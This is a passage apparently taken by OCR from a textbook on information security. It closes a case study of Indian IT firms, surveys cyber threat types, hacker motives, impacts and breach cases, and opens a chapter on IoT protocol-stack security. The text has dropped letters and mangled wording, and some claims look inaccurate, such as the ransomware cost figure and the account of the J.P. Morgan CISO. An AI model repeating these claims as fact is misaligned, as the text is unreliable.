for the most part, utilized in shared premises, so it is dif  cult to f x responsibility. T ere 
is no system to distinguish the basic dangers for the data and data resources of the asso-
ciation. It has no actual access control component; users have free admittance to various 
practical areas. Tere is no electronic or manual character check (or record keeping) while 
entering or leaving the workplace. Even though bringing individual sof ware information 
or capacity gadgets into the workplace is not permitted, there is no monitoring. It was 
found throughout the organization that there is no exacting execution of such standards. 
While the network group has been appointed the task of confning the access to IT frame-
works and administrations dependent one’s job, every one of the frameworks, including 
the focal workers’ framework, are by and large accessible to every one of the employees. 
Everybody has passwords and can sign into the workers’ and dif erent frameworks. 

During the study, it was discovered that this organization has no characterized data 
security occurrence of the executive’s plan. Employees do not know about the results af er 
data security cycles or practices. As a business coherence and data breach recuperation  
plan, the association utilizes an internal employee for stockpiling information; however, 
the secret phrase for access is divided between employees. Te organization utilizes free 
online extra rooms (e.g., Dropbox) for reinforcement. Te association follows a receptive 
methodology toward data security occurrences across the board. 

3.6 CONCLUSION 
 Te quick pace of mechanical advances provides new and creative approaches to organiza-
tions to lead their everyday activities, like joint ef ort, coordination, item/administration 
plan, improvement, conveyance, and substitute approaches to associate and speak with 
various partners. In this pursuit, advanced associations have become overreliant on IT/  
ICT for their diferent business capacities. If there should be an occurrence in certain 
organizations, it has become almost difcult to conduct everyday activities without the 
legitimate operation of their data frameworks. In such a situation, the shielding of business 
data and related resources from outside as well as inside dangers has become a matter of 
primary signifcance for organizations. To manage the present circumstances, on the one 
hand, associations are depending increasingly on the utilization of advanced mechanical 
arrangements; however, the administration issues are regularly neglected [40]. 

As is clear from the case study presented here, it is the obligation of the board and top 
administrators to plan and create data security techniques in agreement with the business 
goals of the organization. Adjustment of data security objectives for the business goals 
of the association is the way to accomplish a hierarchical information security system 
[41]. Having a far-reaching data security strategy is the initial move toward this goal. As 
refected in the preceding case study, without a data security strategy (and rules), there 
will be no specifcally characterized jobs, duties, or accountabilities toward authoritative 
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data and data resources, making them susceptible to data security breaches and dangers. 
It is the obligation of the board to make employees mindful of the arrangements, rules, 
dangers, and countermeasures through standard training and mindfulness programs [42]. 
When the strategy is set up, workers should be instructed on their responsibility toward 
authoritative data frameworks.

 Te current investigation presents a subjective exploration of ways to deal with, compre-
hend, and look at the ISM practices of two IT advancement and administration organiza-
tions in India. Semi-organized meetings and expressive examination techniques followed 
by a situation, actor, process, learning, action, and performance strategy for requests have 
been utilized to dissect the cases under investigation. Discoveries of the examination are 
restricted to the two case associations under investigation and cannot be generalized. 
Notwithstanding, this can be helpful for associations in similar locations with comparable 
nature of work or capacities. Further, comparative investigations can be led for associa-
tions from across various enterprises. It is fascinating to see the impact of industry type 
and association size on the changing idea of data security practices. As an expansion of this 
examination, linkages among diferent ISM components can be distinguished to investigate 
their causal connections among one another. Further, this may assist with building up an 
authoritative ISM structure, which can be valuable for experts to focus on dif erent hierar-
chical ISM practices. 
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4.1 INTRODUCTION 
We greatly apologize for starting on a negative note, but 2020 was the worst year. T roughout 
the year we faced many calamities, some of which were natural and some were man-made. 
We witnessed an outbreak of the coronavirus, and the whole world was confned to the 
home. But the world cannot be stopped and it tends to digitalize. Digitalization to this 
large extent was not planned, and this raises the question of cyber security. It is not true 
that cyber threats only arose during this pandemic; the world faced a lot of cyber threats 
even before the pandemic. Cyber-attacks can create failures in government, business, and 
military equipment; they are very dangerous to a nation’s security [1]. 
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Nowadays, because of the pandemic and the lack of data protection remedies in India,  
the issue of medical data thef has arisen. Cyber-attacks may mess with phones and work-
stations, which will make information inaccessible. Cyber threats also can be used to 
change the mindsets of people regarding their political views. Generally, cyber-attacks are 
performed with the help of social engineering, bots, malware, computer viruses, spyware, 
adware, trojan, and drive-by attacks. Tus, the community sufers a lot because of this. 

 Te internet is a revolution. Te individuals, governments, and companies are completely 
dependent on the internet, and that is the why reason it should be protected [2]. Finance is 
the main reason for cyber-attacks, but competition, the growth of one’s own business, and 
the need for sensitive information are other causes. At the international level, cyber-attack 
is used by dominant countries to threaten other countries. And these goals are accom-
plished by using the following mechanisms: worms/virus, recon attacks, machine compro-
mise, social engineering, privilege escalation, and distributed denial of services, and these 
generate potential consequences like lack of capacity, invasion of privacy, data thef , legal 
accountability, disruption of business, and disgrace to reputation and consumer’s faith [3]. 

During the pandemic, the rate of cyber-crime increased by 600%. Attackers are mainly 
using phishing emails for these kinds of criminal activities [4]. In the last ten years, the 
total number of malware infections has been on the rise consistently from 12.4 million to 
1,100.3 million. Malware spreading through mobile phones has also increased, by 54% in 
2018 alone. Currently, 98% of mobile malware targets Android phones. In industry, 34% of 
the business market has been hit by malware. Because we have progressed to a work from 
home system, the number of cyber-crimes will increase more. In a survey, more than 50% 
of security professionals state that they are not fully prepared to fght against a ransom-
ware attack. Of the companies who have faced ransomware attacks, 75% of them were fully 
updated with all security measures. A report from VMWare states that more than 50% of 
cyber-attacks are hitting the supply chain; they are not targeting the signal network. T is 
has increased by 78% in 2018. For the year 2021, the cost of ransomware attacks is esti-
mated to be $6 trillion, which is a very high amount [5–7].

 Tis chapter is all about an introduction to cyber-attacks: types of cyber-attacks and which 
techniques are being used for cyber-attacks. What should be the stance of a company regard-
ing its security measures? Because we have shifed to working from home, the number of cases 
of cyber-attacks has increased exponentially. Tis chapter will also take a look at the statistics 
and data of cyber-crimes. We have collected information on cyber terms from various sources, 
which will be helpful for understanding the advanced concept of cyber security. We will 
broadly discuss the motivation and objectives of hackers in the light of emerging cyber trends. 
Te impacts of cyber threats along various lines are included in this chapter. Tis chapter is 
designed as a refresher for those who want to enter the cyber security feld. Small- and medium-
scale industries can use these statistics on cyber threats to understand their impact and to take 
better precautions. Two case studies have been added for impact analysis. For the purposes of 
analysis and to understand the case studies, basic terms and causes should be clear. 

4.1.1 What Is a Cyber Threat? 

It can be defned in many ways, but it is commonly defned as unauthorized access to a 
system, resulting in the loss of confdentiality, integrity, and availability of the system [8]. 
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4.1.2 Classification of Computer Threats and Attacks 

 Tere are various types of threats and attacks, but we can classify them into a few cat-
egories. Even within these categories, other subcategories can be defned because thef or 
illegal activities can be carried out via an infnite number of routes. Cyber threats can be 
classifed into physical and nonphysical cyber threats; physical cyber threats include dam-
age to or thef of a device, whereas nonphysical threats target the data and the sof ware by 
manipulating the data or by using and corrupting the sof ware [8].

  1. Denial of service attack (DoS): Denial of services can be done by a large number of 
ping requests. Tis makes the machine or services unavailable to the intended users. 
Buf er overfow, ICMP, and SYN food are common DoS attacks. An attacker can 
conduct this task by using multiple remote bots. An example of a DoS attack is a layer 
7 or web application attack [9]. 

2. Man in the middle attack (MIMA): In this process, the attacker is injected into the 
communication system as a third person to either impersonate or eavesdrop on one 
of the parties. Te third person can do all sorts of unethical tasks during this process. 

3. Eavesdropping/snif er attack: In this attack, the information can be stolen when 
any data or information is transmitted from one device to another. Te attacker takes 
advantage of an unsecured network to steal the information. 

4. Application layer attack: Sometimes attackers exploit the system by taking advan-
tage of a weakness in the application layer. Buf er overfow, structured query lan-
guage (SQL) injection, and cross-site request forgery are examples of such attacks. 

5. Advanced persistent: In this type of attack, the attacker or team of attackers estab-
lishes an elicitation presentation to get the sensitive information. Tis is more vulner-
able because it cannot be detected easily even if an attack is occurring. 

FIGURE 4.1 Classifcation of computer threats and attacks. 
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4.1.3 Types of Cyber-Attacks 

A hacker seeks new routes for attacks; sometimes they overlap, but mostly they are com-
mon. A few of them are mentioned here [10]: 

1. Password attack 

2. Malware 

3. URL interpretation 

4. Phishing attack 

5. Zero day attack 

6. Ransomware 

7. Domain name service tunneling 

8. Denial of services 

9. Man in the middle (MITM) attack 

10. Crypto jacking 

11. SQL injection 

12. Brute force attack 

13. Cross site scripting attack 

4.1.4 Examples of Online Cyber Security Threats 

Cyber-attacks are intentional and well planned, and they have motives. If we do not want 
to see ourselves in the role of victim, we must take all of the necessary security measures. 
Online attacks are easy, because developing countries are not as aware of technology and 
the possible threats to it. If we analyze the data, we fnd that historically we have not taken it 
seriously, but since the late 1980s, developing countries have been putting more efort in this 
direction. At the worldwide level, developed countries like the United States, China, and 
Russia have the technology to attack a country and leave no evidence behind [11]. Recently, 
some hackers attacked an Amazon online sales company, and its latest products, designs, 
and other important data were leaked. Because the world is facing an unplanned pandemic, 
almost every country has a negative GDP for the fnancial year 2021. Te solution has been 
proposed for physical data damage problem as depicted for amazon sales company. Most 
of the people lost their jobs in the pandemic and thus to survive many of them tried online 
hacking, attacks, and unethical practices from which they earned money. 

Cyber-attacks can be conducted by using the following: 

1. Open Wi-Fi network 

2. Inappropriate application 
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3. Key logging sofware, which can be installed on the victim’s computer and then hack 
the device. 

4. Armitage|Kali Linux 

5. Trojan horse 

4.2 MOTIVATIONS AND OBJECTIVES OF HACKERS 
Cyber exploitation is done via preexisting errors present in the system. Te main motive 
is to break the security wall of systems. Hackers have own purposes and objectives [8]. We 
can classify them in the following categories: 

1. Fun: Breaking into a secure network is a kind of challenge for attackers. It is a test and 
a means of enjoyment for hackers. 

2. Vulnerability testing : Tis can be termed as a pre-attack. Generally, this is done by 
the system administrator to check the protection level. Hackers use the same means 
to fnd the vulnerabilities in the system. 

3. T ef : Tis is sponsored by an organization or an individual to steal sensitive data. 
Many incidents have been found in which developed countries tried to get data from 
another country. Te same principles apply for companies and individuals. 

4. Espionage: Te espionage objective is merely f nancial proft. It is another kind of  
thef in which the general purpose is to sell the data for money. 

5. Spamming: Spamming is not only about uninvited emails. Te reason behind these 
scams is specifc malware that captures the search engine and creates havoc with 
unwanted advertisements. 

6. Constraint : Tis alters an accommodated system by turning it into a robot computer 
and using it for hacking or power spamming. Tis can be also used to conduct denial 
of services attacks. 

7. Interference: Disturbance of a series or the access of details is done by hijacking a 
web page or diferent social networking accounts. Tis is done to oppose or disagree, 
or it is done in enmity. Tis result is closure of the opponent’s internet activities. 

4.2.1 Emerging Cyber Threats 

If we examine the last 40 years, what we have came to know as information and commu-
nication technology is being advanced with cybersecurity designs, and yet programming 
failure is happing at the same rate. And the reason is that we are not learning from our 
previously identifed cybersecurity lessons. We adopt new technology, but we never think 
about the loopholes in the previous system, which are the entry gates for attackers [12]. 
Cyber-related crimes can be classifed into four types: 
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1. Traditional form: Tese crimes are carried out by traditional routes like forgery, 
online market fraud, and website shop types of fraud. 

2. Illicit material : Tis includes plagiarized songs and other illegal content. 

3. Digital network: Under this comes diferent cyber manipulations and malware 
attacks. It also includes denial of services attacks. 

4. Cyberspace : T is afects the physical world or a physical system directly. For exam-
ple, in an industry, the control system for a material (gas) transportation grid was 
hacked, which resulted in physical damage. 

4.3 CYBER THREAT IMPACT THEMES 
 Tere are series of impacts that are direct or indirect. Some impacts can be seen, and some 
are not visible. 

Impacts that can be seen are better known cyber incident costs; these include cyber 
security improvements, public relations, and investigations by data analysis and af er an 
attack to ensure the protection of consumers, the technical investigation, the notif cation of 
a violation of customer protection, regulatory compliance, lawyers’ fees, and legal actions. 

Some impacts are not visible, which are called concealed or hidden costs; these include 
an increase in safeguard installment, increased values of debts, the efect of an interruption 
in business, decreased value of relationships with consumers, loss of intellectual property, 
the decline in deals, and utility of lost agreement prof t [8]. 

Various groups of scientists have worked on cyber threat impact themes, which are as 
follows. 

1. Digital or physical: A hacker can control computers or other communication com-
ponents of daily use equipment, like water pumps, transportation, pipeline pumps, 
and health monitoring devices. It causes damage to property and put lives at risk. 

2. Economic : Te types of cyber-crime that have the greatest economic impact are the 
loss of intellectual property and other confdential business information. Personal 
identifcation information can be stolen, and this results in online fraud and other 
f nancial crimes. Financial manipulation is directed toward publicly traded compa-
nies. According to reports, around $600 billion (which is close to 1% of the global 
economy) is lost due to cybercrime every year. 

  3. Reputational: A small accident or cyber-attack can erode the customer’s trust in a 
company. Te database of customers may shrink by a signifcant amount, which can, 
in turn, lead to a loss in sales and a reduction in proft. If we talk about surveys, 47% 
of organizations have reported an impact on their reputation and product impor-
tance because of a cyber security break. A customer could never trust an organization 
that has failed to protect its sensitive data. As a result, then, it is necessary to imple-
ment security controls to prevent such cyber-attacks. 

4. Psychological: Tis is the most dangerous type of key theme. Lost money can be 
earned again; stolen personal or identifcation data will not cause harm in the way 
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FIGURE 4.2 Cyber threats impact themes. 

that psychological efects will. Tey have the power to drive someone to suicide and 
can turn a healthy man into a disturbed man. Terrorists use psychology to brainwash 
young people, and people agree to follow the instructions they receive. I would like 
to mention the blue whale game, which killed youths in high numbers. Sometimes 
hackers will dictate your political view, and you cannot do anything except accept 
what they suggest to you. 

5. Social: Te bottom line is that a cyber-attack may raise a person’s everyday stress 
levels. Depending on a person’s lifestyle, it can be signifcant or not. For example, a 
person who works from home as a day trader probably does not like cyber-attacks on 
fnancial institutions and the companies in their portfolio. On the other hand, a yoga 
instructor will probably have a much lower stress level when some big cyber-attack 
happens. Te highest stress levels can kill people. Let’s not forget that, even when 
there is no cyber-attack, many people are living on the edge in their lives, dealing 
with fnancial issues, relationship issues, and/or health issues, and a cyber-attack may 
be the last straw. Lawmakers are aware of some of these impacts and will eventually 
enact laws that will afect people’s everyday lives. 

Cyberspace has provided us with a series of facilities; we can communicate with individu-
als and organizations in an efcient manner, and this is a point of pride for the science 
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world. However, if something like hacking or data thef occurs, it generates fear among 
people. Reports of the emotional and psychological impacts caused by fear are worse than 
the actual impact caused by the cyber-attack. Suppose the system at an electric power sta-
tion has been hacked, and people face a power outage. But their concern will not be the 
power outage; they will be impacted psychologically. Teir trust will decline because any-
thing can be hacked or any data can be stolen. Here we will cover a wide range of psycho-
logical impacts. WannaCry in 2017 and the Lloyd’s Banking group DOS attack in 2017 are 
real-life examples [13]. A company may also face legal action by the government for data 
leakage about consumers. It may face fnes and other regulatory sanctions. 

4.4 TOP INDUSTRIAL ATTACKS 2020–2021 
India is mainly hit by attackers in China, Mexico, and Ukraine, which results in the loss 
of important data and crores of rupees. Te attacks were conducted by botnet, in which 
malware is installed in a device and data can then be stolen. Here is a list of major cyber-
attacks that have occurred recently [1]: 

1. Cosmos Bank cyber-attack: Tis attack was shocking to all. In this attack, hackers 
stole 94 crores and 22 lakh rupees within 2 hours and 13 minutes. T ey hacked the 
bank server of Pune Cooperative Bank Limited. 

2. ATM system hack: By using a skim device, hackers obtained the details of 300 ATM 
cards and they stole around 30 lakh rupees. Tey attacked the server of Canara Bank, 
and the bank lost money as well as trust. 

3. Aadhar sof ware hack: Unique Identifcation Authority of India revealed that 210 
government websites were hacked, which included Aadhar details, pin card details, 
and IFSC codes, and these were sold on WhatsApp at the rate of 250 rupees per 
person. 

4. Hacking attack on Indian healthcare: Tis incident happened in 2019. According to 
the Dept. of Homeland Security, hackers stole all of the details of patients and their 
doctors by hacking the website. 

5. SIM swap scam: In this, hackers asked about details and then called the mobile tele-
phone company requesting that it block the SIM saying that it had been lost. T ey 
then demanded a new SIM with the same number and a one-time password (Dept. of 
Homeland Security). 

4.5 CYBER THREAT IMPACT ON INDUSTRIES 
A single, well-planned attack can harm people in many ways, such as identity thef , 
fnancial losses, and psychological damage. A company may lose its conf dence, reputa-
tion, customers, fnances, market, and even the company. As we go higher to the country 
level, the impact can be severe, such as threats to national security, severe f nancial losses, 
loss of reputation at the international level, loss of investments, loss of exports, political 
losses, and psychological damage. As globalization increases, things are shif ing toward 
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digitalization. On the internet, we cannot be always sure about the identity of the entity on 
the other end, and we may easily trust fraudsters [14]. 

 Te category faced most is cyber threats. Here, industries are exposed because of open 
channel access and networking, which holds a huge pool of fnancial and personal f les. 
Small industries are also at risk. Big companies tend to have a larger internal setup to 
prevent security attacks, but small companies may have fewer assets to put toward cyber 
security. Generally, small enterprises rarely prioritize these expenses. Because of an expo-
nential rise in criminal cyber activity, both small and large companies need to be con-
cerned with cyber security measures. A successful cyber-attack can destroy a company’s 
business afect consumers’ trust [15]. 

1. Due to cyber-crime, the global economy lost $600 billion. Tis can af ect industries’ 
assets, standing, operations, estimations, and work. 

2. Companies frst need to prevent this type of attack and, second, be prepared to  
recover from an attack. 

3. T e frst step should be to check the existing system’s vulnerabilities and risks. T en, 
preparation and development of the risk mitigation plan and solutions for the system 
are required. 

4.5.1 The J.P. Morgan Chase Case 

In the US, a few hackers obtained administrator access to J.P. Morgan Chase Bank’s serv-
ers. Te bank’s data, like customers’ names, contact details, addresses, and email addresses, 
were exf ltrated. Tis security breach afected 76 million individual customers and 7 million 
small- and medium-scale companies. Afer this incident, the bank proposed an increase in 
their cyber security budget of $250 million per year [16]. And, thus, the bank was obliged 
to reinstate the IT infrastructure. Tis was a long and very time-consuming process and 
impacted the daily routines of staf . Te outstanding fnancial plan was expended on hiring 
new staf to manage the bank’s systems [17]. Tese are two are the major, long-term impacts 

TABLE 4.1 Cyber Treat Impact on Industries 

Security Its impact can be seen in both small and large companies. Tey hacked servers to steal 
costs: information. Hackers can take over control of physical machines, and they can hack the 

sofware the company uses for hiring new employees or the employees’ personal data. 
Monetary According to a report by Symantec, on average 1.5 million people become victims every day, 
losses: including the thef of one-time and other passwords, which leads to a large amount of thef . To 

protect people, police departments use the same methods that hackers do and detect 
occurrences. But hackers shif to another method, and this process keeps on going. Sometimes 
they are caught, and sometimes people lose their money. 

Piracy: Its impact can be seen in the entertainment industry. Music, movies, and TV series are leaked 
and then stolen. It is a worse type of attack because it is very hard to reclaim one’s property and 
its damages cannot be estimated. 

Social Modern society is based on the internet and is connected by social media, which can be used by 
impacts: hackers for their own purposes. Tey used to save documents and other personal details in a 

device that can be hacked. 
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of this attack. Most of the bank’s consumers whose data were revealed were compelled to 
examine their fnances to determine the occurrence of fraud. Tis happened through phish-
ing emails, which were directing them to fake websites for fnancial dealings. T erefore, 
several turned out to be victims of a fnancial fraudster. Te second major impact was the 
alternative of their CISO because he was found guilty of colluding with federal agencies to 
try to manage the investigation and conceal the breach of data [17]. 

4.5.2 The Ashley Madison Case 

In 2015, the Ashley Madison website was hacked. Information about 33 million peoples’ 
extramarital afairs was leaked [18]. Te main aim of Ashley Madison’s corporation was 
privacy and security. And through this model, they would build a trusting relationship 
with their clients. Te computer-generated attack had a chilling impact on the reputation 
of the company because it revealed the weaknesses of the system. Because of this attack, 
Ashley Madison became liable in court cases, with many groups lobbying accusers on 
social media platforms. It was termed “collateral damage” because the clients’ data were 
easily available online. Tus, they became subject to extortion, with varying implications. 
Te email addresses with the domain name .mil indicated individuals who work in the US 
military establishment. Tus, fellows of Ashley Madison were subject to a year of impris-
onment. In a similar way, the holders of 1,200 .sa email addresses were subject to a possible 
death sentence, which is the penalty in Saudi Arabia for betrayal. Toronto police registered 
two cases of suicide that were potentially linked to the cyber-attack [19]. 

4.6 SHORT- AND LONG-TERM EFFECTS OF CYBER-ATTACK 
 Te long-term efects on companies are more serious. Personal or other sensitive data can 
be stolen. Te company may lose consumer trust, and its customers may switch to its com-
petitors. If sensitive information is leaked and gets into the wrong hands, which may result 
in reputational damage, fnancial loss, and infrastructure damage, a small business could 
be destroyed.

 Other efects are that the company may face higher bills afer a cyber-attack on its con-
sumers. Tis leads to reputational damage and diversion of customers, and it may af ect the 
relationships among partners and investors [15]. 

4.6.1 Short-Term Effects 

1. Te company may immediately experience signifcant revenue loss. 

2. It can also damage the company’s reputation, which may divert important customers. 

3. Intellectual property breaches can cause huge losses. 

4. Afer a breach, a forensic investigation will be needed, which turns into legal costs to 
the company. 

5. Online vandalism also poses short-term damage to the company. 

6. A company that is the victim of an attack may incur various costs for remediation. 
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TABLE 4.2 Short- and Long-Term Efects of Cyber-Attack 
  Sr. No.    Short-term efects    Long-term ef ects 

1.  Revenue loss  Reputational damage
 2.  Loss of reputation  Scaring of customers 
3. Intellectual property rights loss Hef y f nes 
4.  Legal costs  Personal/client data unavailability 
5.  Online vandalism/damage  Business despondence 
6.  Remediation costs  Day-to-day activities 

4.6.2 Long-Term Effects 

 T ese efects are not as obvious as short-term efects. If customers’ documents and per-
sonal data are accessed by malicious attackers, then reputational damage may occur. Many 
clients, particularly if the data breach is modest, will choose to take their business else-
where. Additionally, it can break new businesses by terrifying potential clients. Cyber-
attacks can impact individuals, companies, and even countries, ranging from threats to 
life, to despair, to government penalties, to disrupted day-to-day activities, to interrupted 
networks, making data unavailable. 

4.7 CONCLUSION 
In this chapter, we have presented various computer threats. Cyber-attacks can be cat-
egorized into various themes because invaders use manifold practices and approaches. 
Although, many security mechanisms have been implemented in systems, attackers are 
still breaking into systems by taking advantage of vulnerabilities. It is imperative that com-
panies defend against cyber threats by looking at internal system behaviors and developing 
and deploying various mechanisms to improve their security. Tis necessitates the imple-
mentation of security policies as a continuous progression through proper access control 
and security measures. Tis chapter describes that while various technologies have played 
a part in decreasing the impact of cyber-attacks, danger and susceptibility result from  
human instincts and must be addressed through training and education. 
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5.1 INTRODUCTION 
 Te internet of things (IoT) escalated technology to new heights by providing con-
nectivity for every object. Everything in the IoT infrastructure network is sensors and 
actuators, which communicate using various communication protocols [1] like Wi-Fi, 
Zigbee, 6LoWPAN, LoRA, and BLE. Hence, IoT networks are associated with diverse 
technology, which includes wireless sensor networks, machine-to-machine (M2M) com-
munication, and radio frequency identifcation (RFID). Nonetheless, the scope of the 
various applications in terms of connected users, data connectivity, and ef  ciency will 
signifcantly increase with the use of an IoT protocol. However, the IoT networks endure 
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many challenges, like the security of the connected devices, unattended deployments 
of sensors, heterogeneity, dynamic routing, and cost. Among the challenges, security is 
a conspicuous problem in all of the applications. IoT refers to low-constrained devices 
that have very low computational power, memory, and energy storage. Hence, imple-
mentation of the security mechanisms in IoT networks is a crucial task. T ese secu-
rity and communication issues were recognized by organizations such as the Internet 
Engineering Task Force (IETF) and the Institute of Electrical Engineers (IEEE), and they 
put forth the protocol stack for IoT with various communication protocols. Authors [2] 
have analyzed the IoT protocol stack, which meets industry standards for ef  ciency, reli-
ability, and connectivity.

 Tis chapter mainly focuses on a detailed survey of the security issues on various lay-
ers of the IoT protocol stack. Te detailed protocol stack will be explained in sections of 
this chapter to follow. However, the layered protocol stack is supported by the low-energy 
communication of the 802.15.4 physical layer (PHY) and the medium-access control layer 
(MAC) [3, 4], which are the bottom-most layers. Te 6LoWPAN adaptation layer [5] resides 
above the MAC layer and performs fragmentation. A routing protocol for the IPv6 low-
power lossy network (RPL) [6] supports routing of the IPv6 packet in the 6LoWPAN net-
work. Support for the topmost application layer is provided by the Constrained Application 
Protocol (CoAP) [7]. Te chapter further discusses security threats in the communication 
protocol. Tis chapter mainly focuses on the 6LoWPAN communication protocol as it 
has the privileges of autoconfguration and scalability; hence, most of the applications use 
6LoWPAN as the communication protocol. Te chapter also discusses the assumptions, 
goals, and IPv6 packet forwarding techniques [8, 9]. Te chapter proceeds with discussion 
of the protocol stack for IoT in Section 5.2, while Section 5.3 explains the security at the 
physical and MAC layers. Section 5.4 discusses security at the 6LoWPAN adaptation layer, 
Section 5.5 describes RPL security, and Section 5.6 describes CoAP security issues. Section 
5.7 presents the results afer performance analysis of an attacked network. Further, Section 
5.8 discusses the open challenges and puts forth suggestions for future work. Finally, this 
chapter concludes in Section 5.9. 

5.2 IoT PROTOCOL STACK 
 Te chapter proceeds with the identifcation of various communication, routing, and secu-
rity protocols at the diferent layers of the IoT protocol stack. Te IoT network forms by 
connecting the various low-constrained sensing devices. However, the protocol standard 
available for the internet was ill suited for such resource-constrained devices; hence, the 
organizations IETF and IEEE stepped forward to put forth novel protocols for communi-
cation, routing, and security in the future IoT. Figure 5.1  shows the communication proto-
cols of the IoT protocol stack designed by IETF and IEEE [2].

 Te IoT protocol stack will be explained in detail next using a bottom-up approach. 

5.2.1 IEEE 802.15.4 PHY and MAC Layers 

 Te IoT protocol stack uses the IEEE 802.15.4 low-energy communication standard at the 
bottom-most physical layer and the MAC layer. IEEE 802.15.4 provides specif cations and 
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FIGURE 5.1 IoT protocol stack. 

characteristics for two types of devices: the full function device (FFD) and the reduced 
function device (RFD). FFDs are fully functional communication devices that implement 
the entire communication stack’s functions. RFDs, on the other hand, implement the 
reduced communication stack functions that will provide communication to resource-
constrained devices (“things”). IEEE 802.15.4 endorses the formation of the various 
network topologies, like star, mesh, cluster network, and peer to peer, using FFDs and 
RFDs. Te IEEE 802.15.4 layer provides a 64-bit identifer or a 16-bit short identif er for 
the identifcation of the devices in the network. Te MAC layer def nes the four types of 
frames: the MAC command frame, a beacon frame, a data frame, and an acknowledgment 
frame, in which the maximum frame size is 127 bytes with a maximum frame header of 
25 bytes. Te current version of 802.15.4 commands only single-channel communication; 
however, the recent 802.13.4e [10] caters to a multi-hop communication service using the 
time-synchronized mesh protocol (TMSP) [11] technique. 

5.2.2 6LoWPAN Adaptation Layer 

 Te 6LoWPAN adaptation layer plays a vital role in the IoT protocol stack. Te IPv6 proto-
col of the higher layer (network/routing layer) transfers the data using a maximum transfer 
unit (MTU) size of 1,280 bytes, while, the lower IEEE 802.15.4 layers can accept or transfer 
only 127 bytes of data; therefore, the 6LoWPAN adaptation layer acts as an intermediary 
layer that handles fragmentation and reassembly functions. Te adaptation layer performs 
the preceding byte mapping by using a header compression mechanism. T e 6LoWPAN 
layer provides the important cross-layer mechanism to transfer the data from constrained 
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IoT devices to other internet protocols. Terefore, the 6LoWPAN adaptation layer maps the 
IPv6 that is suitable to provide a low-constrained wireless communication environment. 

5.2.3 Routing Layer for IoT 

 Te routing protocol for low-power and lossy networks (RPL) [12] provides the routing 
mechanism in the 6LoWPAN network. RPL provides a framework for routing that is suit-
able for any IoT application. Te RPL forms a destination-oriented, directed acyclic graph 
(DODAG), which is uniquely identifed as DODAGID. Te DODAG formed using the rank 
metric and rank value depicts the distance of every node from the root node. T e rank 
values in the DODAG decrease toward the leaf node; hence, the root node bears the lowest 
rank value. RPL forms DODAG by exchanging four control messages: (i) DIS (DODAG 
information solicitation); (ii) DIO (DODAG information object); (iii) DAO (destination 
advertisement object); and (iv) DAO-ACK (DAO acknowledgment). As shown in Figure 
5.2, the root node frst sends DIO to the other sensor nodes, which contains the routing-
specifc and control information. Te other nodes use the control information in the DIO 
packet to calculate the rank value. A node that does not receive a DIO message may request 
the same using a DIS message. Afer the nodes receive the DIO message, the DAO mes-
sage is triggered and recipient nodes may send the DAO-ACK to the root node. RPL pro-
vides the three types of routing topologies: (i) point to point (P2P); (ii) point to multipoint 
(P2MP); and (iii) multipoint to point (MP2P). 

5.2.4 Application Core, CoAP 

 Te application layer is provided by the constrained application protocol (CoAP) designed 
by IETF [13]. Te CoAP protocol provides support to handle the application layer metadata. 

FIGURE 5.2  DODAG formation. 
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CoAP based on representational state transfer architecture ensures that the interoperabil-
ity of the application is achieved with ease. CoAP currently supports user datagram proto-
col (UDP) protocol communication and the research is going on for extending its support 
for transmission control protocol [14]. CoAP manages the hypertext transfer protocol 
(HTTP) in such a way that the resource-constrained IoT applications interoperate with the 
present internet application without any specialized application translation code. CoAP is 
based on a challenge-response mechanism that uses a unique universal resource identifier 
(URI) to check the availability of the resources in the constrained IoT network. T e CoAP 
is designed with the goals of reducing the message overhead and also limiting the need for 
fragmentation.

 Te IoT protocol stack shown in Figure 5.1  uses the various protocols at dif erent layers 
as described previously. Next, this chapter analyzes the layerwise security mechanisms of 
all of these protocols and also puts forth the challenges involved in secure communication. 

5.3 PHY AND MAC LAYER SECURITY MECHANISMS 
 Te physical and MAC layers of the IoT protocol stack make use of the IEEE 802.15.4 
protocol. IEEE 802.15.4 provides ef  cient communication mechanisms for low-constrained 
IoT networks. Because of its efective communication standard for the lower layer, it also 
provides support in designing the upper layer technology standard, such as CoAP or 
6LoWPAN. WirelessHART [19], Zigbee [16], and Zigbee PRO [17] standards are already 
well adopted in 802.15.4 for industrial wireless sensor network communication. T e 
functions of the PHY layer include management of the RF transceiver, handling of the 
clear channel allocation (CCA), and management of the signal and energy. Modulation 
techniques like direct sequence spread spectrum (DSSS) and chirp spread spectrum (CSS) 
are used to achieve reliability at the PHY layer. PHY frames use 128 bytes and 16 channels 
in the 2.4-GHz Information Security Management radio band. 

IEEE 802.15.4 extends its support for the MAC layer. Te MAC layer, with the help of 
802.15.4, assists in managing the data service, synchronization, beaconing, frame vali-
dation, time slot, channel access, node security, and association. Te MAC layer sup-
ports four diferent types of frames, namely, (i) data frames, (ii) the acknowledgment 
frame, (iii) the beacon frame, and (iv) the MAC control frame. Primarily, the carrier 
sense multiple access with collision avoidance (CSMA/CA) protocol handles collision 
at the MAC layer. 

5.3.1 Security in IEEE 802.15.4 

IEEE 802.15.4 provides its security mechanism at the MAC layer only. Te sensing plat-
form of 802.15.4 supports the hardware-level symmetric cryptography. For example, the 
advanced encryption standard symmetric key algorithm is implemented in the TelsoB 
[15] mote to support IEEE 802.15.4. At the MAC layer, IEEE 802.15.4 supports the fol-
lowing security modes, which support authentication: (i) AES-CBC-MAC-32, (ii) AES-
CBC-MAC-64, and (iii) AES-CBC-MAC-128. Tese three listed security modes of IEEE 
802.15.4 provide the security with authentication mechanism using message integrity codes 
(MIC) of 32, 64, and 128 bits but without data encryption. However, (i) AES-CCM-32, 
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(ii) AES-CCM-64, and (iii) AES-CCM-128 support data encryption and authentication 
using 32-, 64-, and 128-bit MIC codes, respectively. 

Despite all of the security modes provided by IEEE 802.15.4, usage of these modes is 
optional for implementation of the application, as they will impose the computational bur-
den of exchanging the symmetric key at the MAC layer and encrypting every data point 
using the computationally complex AES algorithm. IEEE 802.15.4 provides the access con-
trol mechanism by maintaining the access control list (ACL), which contains 255 entries at 
most. Te ACL contains information regarding the security communication process with 
the destination device. 

Despite all of the aforementioned security mechanisms, IEEE 802.15.4 possesses certain 
limitations. Te symmetric key support of the IEEE 802.15.4 protocol does not specify any 
particular keying model; hence, the key distribution and management are application spe-
cifc [16]. Moreover, the IEEE 802.15.4 lag is contingent upon confdentiality and integrity, 
because the protocol is inadequate for protecting acknowledgments. Hence, if an adversary 
obtains the sequence number of the IEEE 802.15.4 acknowledgment packet, then it will be 
very easy to launch a denial of service attack. 

5.4 6LoWPAN ADAPTATION LAYER SECURITY MECHANISM 
